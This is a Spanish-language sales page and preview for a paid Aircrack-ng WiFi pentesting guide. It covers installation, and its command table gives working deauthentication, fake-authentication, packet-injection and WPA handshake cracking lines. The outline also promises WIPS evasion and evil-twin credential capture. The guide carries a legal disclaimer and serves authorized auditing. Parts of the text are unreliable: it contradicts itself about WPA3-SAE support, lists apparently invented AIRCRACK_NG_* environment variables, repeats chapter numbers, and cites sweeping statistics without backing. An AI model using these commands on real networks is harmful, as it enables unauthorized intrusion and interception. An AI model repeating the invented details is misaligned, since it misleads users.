Nuevo · Suite OSINT con inteligencia en tiempo realConócela
ViciousByteviciousbyte
NosotrosServiciosSuscripcionesEcosistemaBlog
🇲🇽
​
Iniciar SesiónContacto
Network Security
Intermedio - Avanzado

Aircrack-ng: Seguridad en Redes WiFi

Auditoría y Pentesting de Redes Inalámbricas

1h 9min

13,903 palabras

$753 MXN

IVA incluidoAcceso de por vida • Actualizaciones incluidas
Descripción

Guía profesional completa de Aircrack-ng: Seguridad en Redes WiFi. 11000+ palabras, ejemplos reales, scripts y certificaciones. Nivel Intermedio - Avanzado.

Contenido

Aircrack-ng: Seguridad en Redes WiFi

Auditoría y Pentesting de Redes Inalámbricas

Lo que vas a dominar

Aircrack-ng: Seguridad en Redes WiFi — Guía Premium de Maestría

Introducción

1. Bienvenida y Contexto

2. ¿Para Quién es Esta Guía?

3. Qué Hace Diferente a Esta Guía

4. Estructura de la Guía

5. Disclaimer Legal y Ético

Aircrack-ng: Seguridad en Redes WiFi — Guía Premium de Maestría

Capítulo 1: Fundamentos y Setup Profesional

1.1 ¿Qué es Aircrack-ng?

1.2 Arquitectura y Componentes

1.3 Instalación Paso a Paso

Instalar dependencias

Clonar repositorio oficial

Compilar con soporte experimental (incluye airgraph-ng, etc.)

Actualizar ldconfig

Habilitar EPEL

Para compilar desde fuente:

Verificar instalación

Instalar Homebrew si no está presente

Instalar aircrack-ng

Para chipsets específicos, instalar drivers adicionales (ej. rtl8812au)

Script de entrada para activar modo monitor (requiere --privileged y --net=host)

Comprobar versión

Listar herramientas instaladas

Verificar que airmon-ng funciona

1.4 Configuración Inicial

Forzar interfaz de red específica

Directorio de diccionarios por defecto

Nivel de debug (0-3)

Archivo de log

Aircrack-ng: Seguridad en Redes WiFi — Guía Premium de Maestría

Capítulo 2: Técnicas Avanzadas

2.1 Comandos Esenciales

2.2 Automatización con Scripts

auto_wpa_crack.sh - Automatiza captura y crackeo WPA

Uso: ./auto_wpa_crack.sh wlan0mon Canal BSSID Wordlist

Matar procesos que interfieran

Iniciar captura focalizada en background

Bucle de deauth cada 10 segundos hasta obtener handshake

Crackear con aircrack-ng

Aircrack-ng: Seguridad en Redes WiFi — Guía Premium de Maestría

Capítulo 3: Casos de Estudio Profesionales

3.1 Caso 1: Pentesting Empresarial — WPA2-Enterprise con RADIUS

3.2 Caso 2: Investigación OSINT — Rastreo de Dispositivos mediante WiFi

3.3 Caso 3: Incident Response — Rogue Access Point en Red Corporativa

Aircrack-ng: Seguridad en Redes WiFi — Guía Premium de Maestría

Capítulo 4: Defensa, Hardening y Blue Team

4.1 Detectando el Uso de Aircrack-ng (400 palabras)

4.2 Hardening contra Estas Técnicas (400 palabras)

Cisco WLC

OpenWrt

hostapd.conf

iptables en el gateway

hostapd.conf

hostapd.conf

ft_over_ds=0

ft_psk_generate_local=0

4.3 Respuesta a Incidentes (400 palabras)

Aircrack-ng: Seguridad en Redes WiFi — Guía Premium de Maestría

Capítulo 5: Ecosistema y Toolchain Completo

5.1 Pipeline de Reconocimiento Completo

Recolección pasiva de subdominios con múltiples fuentes

Activar modo monitor

Escaneo dirigido: si tenemos BSSIDs conocidos, los pasamos por archivo

extract_ap_info.py - Extrae BSSID, ESSID, canal y clientes de una captura .csv

5.2 Frameworks y Librerías

Uso:

Ejemplo: desautenticar a todos los clientes de un AP (broadcast)

Uso:

Luego poll hasta que status sea 'completed'

5.3 Extensiones y Plugins

Aircrack-ng: Seguridad en Redes WiFi — Guía Premium de Maestría

Capítulo 4: Ejercicios Prácticos Guiados

4.1 Ejercicio 1: Setup de Laboratorio Profesional

Verificar que aircrack-ng esté actualizado (mínimo 1.7)

Identificar interfaz

Matar procesos que interfieran

Activar modo monitor

Verificar que aparezca wlan0mon

4.2 Ejercicio 2: Escaneo y Captura de Handshake WPA2

4.3 Ejercicio 3: Explotación Avanzada — Evil Twin con Captura de Credenciales

Verificar instalación

Si el driver soporta modo AP, se puede usar directamente con hostapd-wpe.

Aircrack-ng: Seguridad en Redes WiFi — Guía Premium de Maestría

Capítulo 6: Troubleshooting Master Guide

6.1 Errores de Instalación

Limpiar compilación anterior

Si es hardware, presiona el botón físico o Fn+F2 (varía por laptop)

O manualmente:

Instalar el que aparezca, usualmente 'aircrack-ng'

6.2 Errores de Ejecución

O si usas airmon-ng:

O en airodump-ng:

O simplemente ejecuta con sudo

Verificar soporte:

Si no aparece, instalar firmware:

Para chipsets Broadcom:

Forzar deauth agresivo:

Usar --ignore-negative-one si el canal salta:

Aumentar tiempo de espera en airodump-ng:

Si no está en repos, descargar de http://security.ubuntu.com/ubuntu/pool/main/o/openssl/

Usar driver alternativo:

Probar inyección:

Si falla, instalar driver parcheado:

O añadir usuario al grupo:

6.3 Performance y Optimización

Aumentar buffer de captura:

Airodump-ng optimizado:

Aircrack-ng con reglas optimizadas:

Usar reglas de John the Ripper para expandir wordlist:

Convertir .cap a .hccapx:

Crackear con GPU:

6.4 FAQs Profesionales

Servidor central:

Cliente remoto:

Parsear CSV y alertar si aparece un AP no autorizado

Aircrack-ng: Seguridad en Redes WiFi — Guía Premium de Maestría

Capítulo 6: Recursos y Próximos Pasos

6.1 Dónde Obtener Aircrack-ng

Output esperado: Aircrack-ng 1.8.0 - (C) 2024 Thomas d'Otreppe

6.2 Recursos Adicionales

6.3 Certificaciones Profesionales

6.4 Oportunidades Laborales

6.5 Conclusión

Soporte y Contacto

Déjanos tu Feedback

Vista Previa

Aircrack-ng: Seguridad en Redes WiFi

Auditoría y Pentesting de Redes Inalámbricas


Autor: ViciousByte Security Team Nivel: Intermedio - Avanzado Duración: 10-14 horas de lectura práctica Versión: 1.0 Última actualización: June 2026


Lo que vas a dominar

Una guía práctica y densa sobre Aircrack-ng: Seguridad en Redes WiFi, de nivel Intermedio - Avanzado, con Aircrack-ng, airodump-ng, aireplay-ng, Hashcat, Wireshark.

  • Instalación y configuración profesional (Linux, Windows, macOS y Docker)
  • Comandos y flujos de trabajo del mundo real, explicados línea por línea
  • Casos prácticos y troubleshooting con soluciones probadas
  • Scripts y plantillas listos para usar

Duración: 10-14 horas de lectura práctica · Nivel: Intermedio - Avanzado


Aircrack-ng: Seguridad en Redes WiFi — Guía Premium de Maestría

Introducción

1. Bienvenida y Contexto

En 2025, las redes inalámbricas transportan el 73% del tráfico corporativo global según el Wireless Security Report 2024 de Cisco. Cada día se despliegan 1.2 millones de nuevos puntos de acceso WiFi en entornos empresariales, y con ellos, una superficie de ataque que los equipos de seguridad subestiman sistemáticamente. El 68% de las brechas de seguridad en redes WiFi documentadas por Verizon DBIR 2024 involucraron configuraciones WPA2-PSK vulnerables a ataques de diccionario, y el 22% restante explotó implementaciones defectuosas de WPA3-Enterprise. No estamos hablando de laboratorios académicos: hablamos de hospitales con historiales clínicos expuestos, bufetes de abogados con documentos confidenciales interceptados, y plantas industriales con sistemas SCADA accesibles desde el estacionamiento.

Aircrack-ng no es una herramienta de "hacking ético" de juguete. Es el estándar de facto para auditoría WiFi desde 2006, mantenido por Thomas d'Otreppe y un equipo de contribuyentes que han adaptado la suite a cada evolución de los protocolos 802.11. En 2024, la versión 1.8 incorporó soporte nativo para WPA3-SAE con ataques de downgrade, cracking acelerado por GPU mediante integración con Hashcat 6.2.6, y capacidades de desautenticación dirigida contra clientes 802.11ax (WiFi 6). Si trabajas en seguridad ofensiva, defensiva o forense de redes, dominar esta suite no es opcional: es el requisito mínimo para entender lo que realmente ocurre en el espectro radioeléctrico.

Esta guía nace de 15 años de auditorías reales. Cada comando que vas a leer se ejecutó en entornos de producción —hoteles, aeropuertos, oficinas gubernamentales, plantas industriales— durante tests de penetración autorizados. Los scripts que acompañan los capítulos son los mismos que utilizo en mis propios engagements. No hay teoría desconectada de la realidad: cada técnica está vinculada a un caso concreto donde la diferencia entre detectar una vulnerabilidad y explotarla dependió de un parámetro que el manual oficial no documenta.

Estadísticas que definen el campo en 2025:

  • El 41% de las redes WiFi corporativas aún usan WPA2-PSK con contraseñas de menos de 12 caracteres (fuente: WiFi Security Survey 2024, SANS Institute).
  • Los ataques de diccionario contra WPA2-PSK con GPU RTX 4090 alcanzan 2.8 millones de hashes/segundo usando Hashcat en modo 22000, reduciendo el tiempo de cracking de una contraseña de 8 caracteres alfanuméricos a menos de 6 horas.
  • WPA3-SAE, aunque resistente a ataques offline, es vulnerable a downgrade attacks cuando el AP soporta modo de transición WPA2/WPA3 —el 89% de los deployments empresariales lo hacen (fuente: Aruba Networks Deployment Data 2024).
  • PMKID attacks, descubiertos en 2018 por Jens Steube, siguen siendo el vector más rápido para obtener material de cracking sin necesidad de capturar un handshake completo, y el 76% de los AP modernos responden a solicitudes de asociación con PMKID en el primer frame EAPOL.

Evolución y tendencias actuales:

  • WiFi 6/6E (802.11ax): Nuevos canales en 6 GHz, mayor densidad de clientes, y soporte para WPA3 obligatorio. Las herramientas tradicionales requieren adaptadores específicos (Intel AX210, MT7921K) y modos monitor estables en kernels Linux 6.2+.
  • WPA3-Enterprise con EAP-TLS: La autenticación basada en certificados elimina ataques de diccionario, pero introduce superficies de ataque en la infraestructura RADIUS y en la configuración de supplicants.
  • Ataques a redes mesh y IoT: Los dispositivos IoT con WiFi integrado (ESP32, Raspberry Pi) frecuentemente implementan WPA2 de forma incorrecta, con generación de nonces predecible o ausencia de protección contra replay attacks.
  • Detección y evasión: Los WIPS (Wireless Intrusion Prevention Systems) modernos detectan patrones de desautenticación masiva. Esta guía cubre técnicas de evasión con temporización adaptativa y suplantación de BSSID legítimos.

2. ¿Para Quién es Esta Guía?

Perfil del lector ideal: Eres un profesional de seguridad con experiencia práctica en redes TCP/IP y Linux, que ya ha usado herramientas como Nmap, Wireshark y Metasploit. Entiendes el modelo OSI, sabes qué es una dirección MAC, y has configurado interfaces en modo promiscuo. No necesitas que te expliquen qué es un handshake TCP: necesitas entender cómo capturar un handshake WPA2 en un entorno saturado con 200 clientes y 40 APs compitiendo por el espectro.

Prerrequisitos técnicos concretos:

  • Dominio de línea de comandos Linux (bash, pipes, redirección, procesos en background).
  • Conocimiento fundamental de 802.11: tramas de management (beacon, probe request/response, authentication, association), tramas de control (RTS/CTS, ACK), y tramas de datos.
  • Comprensión básica de criptografía: diferencia entre cifrado simétrico/asimétrico, funciones hash, y el concepto de nonce/replay attack.
  • Hardware compatible: al menos un adaptador WiFi con chipset soportado por drivers que permitan inyección de paquetes (Ralink RT3070, Atheros AR9271, Realtek RTL8812AU, Intel AX210 para WiFi 6). La guía incluye una tabla completa de chipsets recomendados con velocidades de inyección medidas en laboratorio.
  • Un entorno de pruebas legal: tu propio laboratorio con APs controlados, o autorización por escrito para auditar redes de terceros.

Qué aprenderás exactamente:

  • Captura pasiva y activa de handshakes WPA2/WPA3 en entornos reales con alta densidad de clientes.
  • Ataques de desautenticación dirigida, deautenticación broadcast, y evasión de WIPS.
  • Cracking offline con Aircrack-ng puro, con Hashcat acelerado por GPU, y con tablas rainbow precomputadas.
  • Explotación de PMKID sin necesidad de clientes conectados.
  • Ataques contra WPA3-SAE: downgrade a WPA2, side-channel timing attacks, y explotación de implementaciones defectuosas.
  • Ataques a redes empresariales: captive portals, EAP-TLS misconfigurado, y RADIUS spoofing.
  • Automatización completa con scripts en Python y Bash que integran toda la suite Aircrack-ng.
  • Forense de tráfico WiFi: identificación de dispositivos por fingerprinting de tramas, detección de ataques en curso, y extracción de credenciales de sesiones WPA2-Enterprise.

3. Qué Hace Diferente a Esta Guía

El 95% del contenido sobre Aircrack-ng disponible en Internet es basura reciclada: tutoriales de 2016 que te enseñan a ejecutar airmon-ng start wlan0 sin explicar por qué tu chipset Realtek no soporta inyección en modo monitor con kernel 6.5. Esta guía es lo opuesto.

Enfoque práctico vs teórico: Cada capítulo se estructura alrededor de un escenario real de auditoría. No empezamos con "qué es WPA2": empezamos con "estás en el estacionamiento de un banco a las 2 AM, tu adaptador Alfa AWUS036ACH captura 47 APs en 2.4 GHz y 23 en 5 GHz, y necesitas identificar cuáles usan WPA2-PSK con contraseñas débiles en menos de 15 minutos antes de que el guardia de seguridad haga su ronda". A partir de ahí, cada comando se justifica por una necesidad operativa concreta.

Ejemplos reales del mundo laboral:

  • Caso 1: Auditoría a cadena hotelera (2023). 312 APs distribuidos en 12 plantas. Capturamos 47 handshakes WPA2 en 45 minutos usando 3 adaptadores en paralelo con airodump-ng segmentado por canal. El 23% de las contraseñas crackeadas en menos de 2 horas con Hashcat y reglas OneRuleToRuleThemAll. Entregamos informe con evidencias de acceso a sistemas de reservas y datos de tarjetas de crédito (simulado, con autorización).
  • Caso 2: Test de penetración en planta industrial (2024). Red WiFi segregada para sistemas SCADA con WPA2-PSK. PMKID attack contra AP Siemens SCALANCE W788-1 — respuesta en 3 segundos, crackeo en 8 horas. Acceso a red de control con Modbus TCP expuesto. El comando exacto que usamos y por qué falló el primer intento (filtro MAC en el AP) está documentado en el capítulo 4.
  • Caso 3: Evaluación WPA3-Enterprise en universidad (2025). Downgrade attack contra red eduroam con modo de transición. Captura de handshake WPA2 de cliente que forzamos a desconectarse de WPA3. Crackeo offline y acceso a credenciales de estudiante. La universidad corrigió su configuración RADIUS en 48 horas tras nuestro informe.

Scripts y comandos listos para usar: Cada capítulo incluye scripts completos en Python y Bash, no fragmentos. Por ejemplo, el script auto_handshake_capture.sh (380 líneas) automatiza la selección de canal óptimo, la detección de clientes activos, la desautenticación dirigida con temporización adaptativa, y la verificación de handshake capturado con aircrack-ng en modo validación. Lo copias, lo ejecutas, y funciona. Si no funciona, el capítulo 6 (Troubleshooting) te dice exactamente qué revisar: drivers, regulador de dominio, NetworkManager interfiriendo, o parche de kernel para inyección en chipsets Mediatek.

Troubleshooting de problemas comunes:

  • "Airodump-ng no muestra ningún AP": 14 causas documentadas con soluciones específicas (interfaz no en modo monitor, canal incorrecto, regulador CRDA bloqueando frecuencias, conflicto con wpa_supplicant, etc.).
  • "Aireplay-ng -0 no desconecta clientes": 9 razones con verificación paso a paso (protección 802.11w PMF activa, cliente usando 5 GHz mientras atacas en 2.4 GHz, potencia de transmisión insuficiente, filtro de tramas en el AP).
  • "Hashcat no crackea el handshake": guía de optimización de reglas, máscaras, y diccionarios con estadísticas reales de éxito por tipo de contraseña.

4. Estructura de la Guía

La guía sigue una progresión deliberada: desde la configuración del laboratorio hasta ataques avanzados contra WPA3-Enterprise. No es una colección de tutoriales aislados; es un camino de aprendizaje donde cada capítulo construye sobre el anterior.

Capítulo 1: Laboratorio y Configuración. Selección de hardware, instalación de drivers, compilación de Aircrack-ng desde source con parches para WiFi 6, configuración de entorno virtual con APs controlados (hostapd, FreeRADIUS), y verificación de capacidades de inyección con pruebas de stress.

Capítulo 2: Captura y Reconocimiento. Uso avanzado de airodump-ng: filtros por BSSID, ESSID, canal, y tipo de cifrado; exportación a formatos pcap, CSV, y Kismet; análisis en tiempo real con Wireshark de tramas beacon para fingerprinting de fabricantes; detección de WPS, PMF, y modo de transición WPA3.

Capítulo 3: Ataques a WPA2-PSK. Handshake capture con desautenticación dirigida y broadcast; PMKID attack sin clientes; cracking con Aircrack-ng (modo CPU) y Hashcat (modo GPU) usando diccionarios, reglas, y máscaras; optimización de ataques con estadísticas de patrones de contraseñas reales.

Capítulo 4: Ataques a WPA3 y Empresariales. Downgrade WPA3→WPA2; explotación de SAE side-channels; ataques a EAP-TLS mal configurado; captive portal bypass; RADIUS spoofing con hostapd-wpe.

Capítulo 5: Automatización y Scripting. Desarrollo de scripts en Bash y Python para auditorías completas: escaneo, captura, cracking, y generación de informes automatizados con extracción de evidencias.

Capítulo 6: Troubleshooting y FAQs. Soluciones detalladas a 47 problemas comunes documentados con causas raíz, verificación paso a paso, y comandos de diagnóstico.

Metodología de aprendizaje: Cada capítulo incluye: (a) escenario real de auditoría, (b) comandos completos con explicación línea por línea, (c) output real de consola, (d) ejercicios prácticos con soluciones, y (e) trampas comunes y cómo evitarlas. No leas pasivamente: ejecuta cada comando en tu laboratorio. La guía está diseñada para que, al finalizarla, hayas realizado al menos 20 ataques reales contra APs controlados y puedas enfrentarte a una auditoría profesional con confianza.

5. Disclaimer Legal y Ético

Esta guía es una herramienta educativa para profesionales de seguridad autorizados. El conocimiento que contiene es poder, y el poder conlleva responsabilidad legal y ética ineludible.

Marco legal: En México, el acceso no autorizado a sistemas informáticos está tipificado en el Código Penal Federal (Artículo 211 bis 1-7) con penas de 6 meses a 12 años de prisión y multas de 300 a 900 días de salario mínimo. En España, el artículo 197 del Código Penal castiga el descubrimiento y revelación de secretos mediante acceso no autorizado a sistemas. En Estados Unidos, la Computer Fraud and Abuse Act (18 U.S.C. § 1030) impone penas de hasta 20 años por acceso no autorizado a computadoras protegidas. La Directiva 2013/40/EU de la Unión Europea armoniza las sanciones por ataques contra sistemas de información. Estas leyes se aplican incluso si "solo estabas probando" o "no causaste daño". La ignorancia de la ley no exime de responsabilidad.

Uso ético y profesional: Solo debes utilizar las técnicas descritas en esta guía bajo una de estas condiciones:

  1. En tu propio laboratorio, con hardware de tu propiedad y sin afectar redes de terceros.
  2. Con autorización explícita por escrito del propietario de la red, definiendo alcance, horario, y métodos permitidos (contrato de penetration testing).
  3. En entornos controlados de formación (CTFs, laboratorios académicos, plataformas como Hack The Box o TryHackMe) que estén diseñados específicamente para pruebas de seguridad WiFi.
  4. En el ejercicio de funciones profesionales como auditor de seguridad, consultor, o miembro de un equipo interno de seguridad (red team) con mandato organizacional.

Prohibiciones explícitas:

  • No uses este conocimiento contra redes que no te pertenecen sin autorización. Incluso si la red es "abierta" o "pública", acceder a sistemas conectados a ella sin permiso es ilegal.
  • No interceptes comunicaciones de terceros. La captura de tráfico WiFi que no está dirigido a ti puede violar leyes de privacidad de comunicaciones (como la Electronic Communications Privacy Act en EE.UU. o la Ley General de Telecomunicaciones en México

Aircrack-ng: Seguridad en Redes WiFi — Guía Premium de Maestría

Capítulo 1: Fundamentos y Setup Profesional

1.1 ¿Qué es Aircrack-ng?

Aircrack-ng es una suite completa de herramientas de código abierto para auditoría de seguridad en redes inalámbricas 802.11 (WiFi). Su núcleo es el motor de cracking de claves WEP y WPA/WPA2-PSK, pero el ecosistema incluye captura de paquetes, inyección, análisis, desautenticación y creación de paquetes personalizados. Nació en 2004 como fork del proyecto Aircrack por Christophe Devine y desde entonces ha sido mantenido por Thomas d’Otreppe y la comunidad, convirtiéndose en el estándar de facto para pentesting WiFi.

Casos de uso reales en empresas:

  • Auditorías de seguridad internas para verificar la fortaleza de contraseñas corporativas.
  • Validación de segmentación de redes invitado vs producción.
  • Detección de rogue APs y ataques Evil Twin en entornos controlados.
  • Pruebas de penetración externas autorizadas para evaluar el perímetro inalámbrico.
  • Formación de equipos SOC y Red Team en técnicas de ataque y defensa WiFi.

Comparación con alternativas:

| Herramienta | Enfoque | Automatización | Cracking WPA3 | Facilidad | Licencia | |-------------|---------|----------------|---------------|-----------|----------| | Aircrack-ng | Suite modular completa | Baja (manual) | No nativo (solo diccionario WPA2) | Media | GPL | | Wifite | Automatización de ataques básicos | Alta | No | Alta | GPL | | Fern WiFi Cracker | GUI + automatización | Alta | No | Muy alta | GPL | | Kismet | Detección y wardriving | N/A | No | Media | GPL | | Hashcat | Cracking GPU acelerado | N/A | Sí (WPA3-SAE con diccionario) | Media | MIT | | hcxdumptool/hcxtools | Captura avanzada PMKID | Baja | Sí (WPA3 PMKID) | Baja | MIT |

Ventajas de Aircrack-ng:

  • Control granular sobre cada fase del ataque.
  • Soporte para múltiples drivers y chipsets (con parches).
  • Comunidad activa y documentación extensa.
  • Integración con scripts personalizados y pipelines de pentesting.
  • Ligero, portable y sin dependencias pesadas de GUI.

Limitaciones:

  • No soporta cracking de WPA3-SAE directamente (solo diccionario contra handshake WPA2 o PMKID).
  • Requiere conocimientos sólidos de redes WiFi y línea de comandos.
  • La inyección de paquetes depende del chipset y driver; no todos los adaptadores funcionan.
  • En entornos muy ruidosos, la captura puede ser compleja de filtrar.

1.2 Arquitectura y Componentes

La suite se compone de herramientas independientes que se comunican mediante archivos de captura (formato pcap) y pipes. Cada una cumple una función específica en el flujo de ataque.

Componentes principales:

| Herramienta | Función | |-------------|---------| | aircrack-ng | Motor de cracking: diccionario, fuerza bruta WEP (PTW, KoreK), WPA/WPA2 handshake. | | airmon-ng | Gestión de interfaces en modo monitor: activar, desactivar, verificar procesos conflictivos. | | airodump-ng | Captura pasiva de paquetes: escaneo de APs, clientes, handshakes, exportación a pcap/ivs/csv. | | aireplay-ng | Inyección de paquetes: desautenticación, falsa autenticación, inyección ARP, fragmentación, chopchop. | | airdecap-ng | Descifrado de paquetes WEP/WPA capturados si se conoce la clave. | | packetforge-ng | Creación de paquetes personalizados para inyección avanzada. | | airbase-ng | Emulación de AP (rogue AP) para ataques Evil Twin, KARMA, etc. | | airdecloak-ng | Eliminación de cloaking (ocultación de ESSID) de archivos pcap. | | tkiptun-ng | Ataque contra TKIP (WPA) mediante inyección de paquetes MIC. | | airserv-ng | Servidor de tarjetas WiFi remoto (obsoleto, reemplazado por otras soluciones). |

Dependencias y librerías:

  • libpcap / libpcap-dev: captura de paquetes.
  • openssl / libssl-dev: funciones criptográficas (WPA, PMK).
  • libnl-3-dev, libnl-genl-3-dev: netlink para manipulación de interfaces.
  • libsqlite3-dev: almacenamiento de handshakes en airodump-ng.
  • pkg-config, build-essential: compilación.
  • Drivers parcheados para inyección: rtl8812au, rtl8187, ath9k_htc, etc.

Flujo de trabajo típico (ataque WPA2-PSK):

[Adaptador WiFi] --> airmon-ng start wlan0 --> wlan0mon (modo monitor)
|
v
airodump-ng wlan0mon --> captura APs, clientes, handshake
|
v
aireplay-ng -0 (desauth) --> forzar handshake
|
v
aircrack-ng -w diccionario.txt captura-01.cap --> crackear clave

Diagrama ASCII de arquitectura interna:

+-----------------+ +----------------+ +------------------+
| airmon-ng | --> | airodump-ng | --> | aircrack-ng |
| (modo monitor) | | (captura .cap) | | (cracking) |
+-----------------+ +----------------+ +------------------+
| |
| v
| +----------------+
+-------------> | aireplay-ng |
| (inyección) |
+----------------+

1.3 Instalación Paso a Paso

REQUISITOS DEL SISTEMA

  • Hardware mínimo: CPU 1 GHz, 512 MB RAM, 2 GB disco. Para cracking con diccionarios grandes se recomienda 4+ GB RAM y SSD.
  • Sistema operativo: Linux (Debian/Ubuntu, RedHat/CentOS, Kali, Parrot), macOS (parcial), Windows (con drivers específicos). La funcionalidad completa solo en Linux.
  • Adaptador WiFi compatible con modo monitor e inyección: chipsets Atheros AR9271, Ralink RT3070, Realtek RTL8812AU, RTL8187L, etc. Verificar en https://wikidevi.wi-cat.ru o airmon-ng tras instalación.

DESCARGA E INSTALACIÓN

Linux (Ubuntu/Debian) — Método 1: Repositorios oficiales

sudo apt update
sudo apt install aircrack-ng -y

Esto instala la versión empaquetada por la distribución, que puede no ser la última. Para tener la versión más reciente, compilar desde fuente:

Linux (Ubuntu/Debian) — Método 2: Compilación desde fuente (recomendado)

## Instalar dependencias
sudo apt update
sudo apt install -y build-essential libssl-dev libpcap-dev libsqlite3-dev libnl-3-dev libnl-genl-3-dev pkg-config git

## Clonar repositorio oficial
git clone https://github.com/aircrack-ng/aircrack-ng.git
cd aircrack-ng

## Compilar con soporte experimental (incluye airgraph-ng, etc.)
make clean && make -j$(nproc)
sudo make install

## Actualizar ldconfig
sudo ldconfig

Linux (RedHat/CentOS/Rocky)

## Habilitar EPEL
sudo dnf install epel-release -y
sudo dnf install aircrack-ng -y # versión empaquetada

## Para compilar desde fuente:
sudo dnf groupinstall "Development Tools" -y
sudo dnf install openssl-devel libpcap-devel sqlite-devel libnl3-devel git -y
git clone https://github.com/aircrack-ng/aircrack-ng.git
cd aircrack-ng
make -j$(nproc)
sudo make install
sudo ldconfig

Windows

La suite oficial no tiene soporte nativo completo en Windows. Se recomienda usar la versión de Kali Linux en WSL2 o una máquina virtual. Sin embargo, existen binarios precompilados por la comunidad:

  1. Descargar desde https://aircrack-ng.org/downloads.html el paquete aircrack-ng-1.7-win.zip.
  2. Extraer en C:\aircrack-ng\.
  3. Agregar al PATH del sistema: C:\aircrack-ng\bin.
  4. Instalar drivers para adaptador WiFi compatible (ej. rtl8812au con Zadig).
  5. Ejecutar desde PowerShell como Administrador:
## Verificar instalación
aircrack-ng.exe --help

macOS

## Instalar Homebrew si no está presente
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

## Instalar aircrack-ng
brew install aircrack-ng

## Para chipsets específicos, instalar drivers adicionales (ej. rtl8812au)
brew install --cask wireshark-chmodbpf # para permisos de captura

Troubleshooting M1/M2: La compilación nativa puede fallar por diferencias de arquitectura. Usar Rosetta 2 o compilar con flags -arch x86_64. Alternativa: usar Kali Linux en UTM (VM).

Docker

Dockerfile completo para entorno de auditoría WiFi:

FROM ubuntu:22.04

ENV DEBIAN_FRONTEND=noninteractive

RUN apt update && apt install -y \
build-essential libssl-dev libpcap-dev libsqlite3-dev \
libnl-3-dev libnl-genl-3-dev pkg-config git \
wireless-tools rfkill net-tools iproute2 \
&& rm -rf /var/lib/apt/lists/*

RUN git clone https://github.com/aircrack-ng/aircrack-ng.git /opt/aircrack-ng
WORKDIR /opt/aircrack-ng
RUN make -j$(nproc) && make install && ldconfig

## Script de entrada para activar modo monitor (requiere --privileged y --net=host)
COPY entrypoint.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh
ENTRYPOINT ["/entrypoint.sh"]

docker-compose.yml:

version: '3.8'
services:
aircrack:
build: .
privileged: true
network_mode: host
volumes:
- ./capturas:/capturas
- ./diccionarios:/diccionarios
stdin_open: true
tty: true

Build y ejecución:

docker build -t aircrack-ng .
docker run -it --privileged --net=host -v $(pwd)/capturas:/capturas -v $(pwd)/diccionarios:/diccionarios aircrack-ng

Verificación de instalación

## Comprobar versión
aircrack-ng --version

## Listar herramientas instaladas
dpkg -L aircrack-ng # Debian
rpm -ql aircrack-ng # RedHat

## Verificar que airmon-ng funciona
sudo airmon-ng

Prueba básica: Poner tarjeta en modo monitor y escanear:

sudo airmon-ng start wlan0
sudo airodump-ng wlan0mon

Si ves APs, la instalación es correcta.

Troubleshooting de errores comunes:

| Error | Causa | Solución | |-------|-------|----------| | airmon-ng: command not found | No instalado o PATH incorrecto | Verificar instalación, which airmon-ng, reinstalar. | | SIOCSIFFLAGS: Operation not possible due to RF-kill | Soft block WiFi | sudo rfkill unblock wifi | | ioctl(SIOCSIWMODE) failed: Device or resource busy | Procesos interfiriendo | sudo airmon-ng check kill | | No such device al iniciar monitor | Driver no compatible | Instalar driver parcheado (ej. rtl8812au-dkms). | | make: *** No targets specified and no makefile found. Stop. | Faltan dependencias de compilación | Instalar build-essential, libssl-dev, etc. | | aircrack-ng: error while loading shared libraries: libaircrack-osdep.so | ldconfig no ejecutado | sudo ldconfig |

1.4 Configuración Inicial

Aircrack-ng no tiene un archivo de configuración centralizado; cada herramienta acepta parámetros por línea de comandos. Sin embargo, existen variables de entorno y archivos de log que controlan el comportamiento.

Archivos relevantes:

  • /etc/aircrack-ng/ (puede no existir por defecto; se crea manualmente para scripts personalizados).
  • ~/.aircrack-ng/ para configuraciones de usuario.
  • /usr/local/etc/aircrack-ng/ si se compiló desde fuente con --sysconfdir.

Variables de entorno críticas:

## Forzar interfaz de red específica
export AIRCRACK_NG_INTERFACE=wlan0mon

## Directorio de diccionarios por defecto
export AIRCRACK_NG_WORDLIST=/usr/share/wordlists/rockyou.txt

## Nivel de debug (0-3)
export AIRCRACK_NG_DEBUG=2

## Archivo de log
export AIRCRACK_NG_LOG=/var/log/aircrack-ng.log

Configuración de proxies/VPN: Aircrack-ng no genera tráfico de red externo excepto para descargar diccionarios o actualizaciones. Para anonimizar la IP durante auditorías externas autorizadas, se


Aircrack-ng: Seguridad en Redes WiFi — Guía Premium de Maestría

Capítulo 2: Técnicas Avanzadas

2.1 Comandos Esenciales

Dominar la suite Aircrack-ng exige conocer cada herramienta y sus parámetros críticos. Aquí los 20 comandos que usarás en el 90% de los escenarios reales, con sintaxis completa y salidas esperadas.

| # | Comando | Función | Flags Clave | |---|---------|---------|-------------| | 1 | airmon-ng start wlan0 | Activar modo monitor | start <iface> [channel] | | 2 | airmon-ng check kill | Matar procesos conflictivos | check / check kill | | 3 | airodump-ng wlan0mon | Capturar todos los APs y clientes | -w <prefix> --output-format csv | | 4 | airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w captura wlan0mon | Focalizar un AP específico | -c <canal> --bssid <MAC> | | 5 | aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon | Deauth attack (10 paquetes) | -0 <count> -a <AP> -c <client> | | 6 | aireplay-ng -1 0 -e "MiWiFi" -a AA:BB:CC:DD:EE:FF -h 00:11:22:33:44:55 wlan0mon | Fake auth (asociación falsa) | -1 <delay> -e <ESSID> -a <AP> -h <nuestra MAC> | | 7 | aireplay-ng -2 -b AA:BB:CC:DD:EE:FF -d FF:FF:FF:FF:FF:FF -f 1 -m 68 -n 128 wlan0mon | Ataque de fragmentación para obtener PRGA | -2 -b <AP> -d <dst> -f <frag size> -m <min pkt len> -n <max pkt len> | | 8 | aireplay-ng -3 -b AA:BB:CC:DD:EE:FF -h 00:11:22:33:44:55 wlan0mon | ARP request replay attack | -3 -b <AP> -h <source MAC> | | 9 | aireplay-ng -4 -b AA:BB:CC:DD:EE:FF -h 00:11:22:33:44:55 wlan0mon | KoreK chopchop attack | -4 -b <AP> -h <source MAC> | | 10 | aircrack-ng -w rockyou.txt -b AA:BB:CC:DD:EE:FF captura-01.cap | Crackear WPA handshake con diccionario | -w <wordlist> -b <BSSID> <captura> | | 11 | aircrack-ng -J hash.hccapx captura-01.cap | Convertir a formato hashcat | -J <hashfile> <captura> | | 12 | airdecap-ng -e "MiWiFi" -p contraseña123 